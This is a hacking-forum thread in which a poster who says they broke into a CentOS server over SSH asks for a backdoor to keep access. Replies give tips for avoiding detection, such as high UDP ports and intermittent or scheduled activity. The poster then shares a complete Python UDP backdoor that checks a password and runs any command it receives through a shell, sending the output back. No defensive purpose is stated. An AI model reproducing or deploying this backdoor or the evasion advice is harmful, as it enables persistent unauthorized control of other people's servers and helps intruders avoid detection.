EvilZone
Hacking and Security => Hacking and Security => Topic started by: DeXtreme on April 27, 2013, 04:31:19 PM
-
I managed to ssh my way into a server running CentOs and now i need a good backdoor to maintain access.I tried netcat but the -e option is disabled on redhat distributions.So what do you guys recommend??
-
Get some any C backdoor.
Python socks whatever.
Program your way out.
-
CentOS is linux, so any linux backdoor would work in this case.
-
CentOS is linux, so any linux backdoor would work in this case.
Then i guess i'll take proxx's advice and write my own script(python)..Thanks y'all ;D
-
Just make sure you use a port high up in the range, dont use raw sockets, at least dont when you dont have the privs.
Use UDP , make sure its not constantly running, use intervals , say every 5 minutes.
Only make it active during certain hours or at "random" according to a algo known at both sides.
Do I need to say more :)
I have a totally sick idea for doing this but I want to code it myself first, when there is time.
-
Just make sure you use a port high up in the range, dont use raw sockets, at least dont when you dont have the privs.
Use UDP , make sure its not constantly running, use intervals , say every 5 minutes.
Only make it active during certain hours or at "random" according to a algo known at both sides.
Do I need to say more :)
I have a totally sick idea for doing this but I want to code it myself first, when there is time.
Would udp work? I mean yes it could send to the controlling computer, but could the udp packet get to the controlled computer without forwarding the ports?
-
So this is my finished and WORKING backdoor(first time i ever programmed something like this). Learnt a lot of new stuff working on this.Thanks y'all..check it out ;D
import socket
import subprocess
import time
authed=False
masterip=""
masterport=5051
sock=""
def link():
global sock
sock=socket.socket(socket.AF_INET,socket.SOCK_DGRAM)
sock.settimeout(30.0)
sock.bind((masterip,masterport))
def sleeplink():
global sock
sock.close()
time.sleep(30)
link()
link()
while True:
while authed==False:
try:
data,addr=sock.recvfrom(1024)
if data=="passwordhere":
authed=True
sock.sendto("Authenticated",addr)
sock.settimeout(300.0)
else:
sock.sendto("Not Supported",addr)
except:
sleeplink()
pass
try:
data,addrx=sock.recvfrom(1024)
if addrx==addr:
cmdx=subprocess.Popen(data,shell=True,stdout=subprocess.PIPE,stderr=subprocess.STDOUT)
(out,err)=cmdx.communicate()
cmdx.wait()
sock.sendto(out,addrx)
except:
sock.sendto("Connection Timeout",addr)
sock.settimeout(10.0)
authed=False
-
+1 for you.
For showing good attitude.
Ill look into it later if you dont mind, short on time.
-
Thanks again :D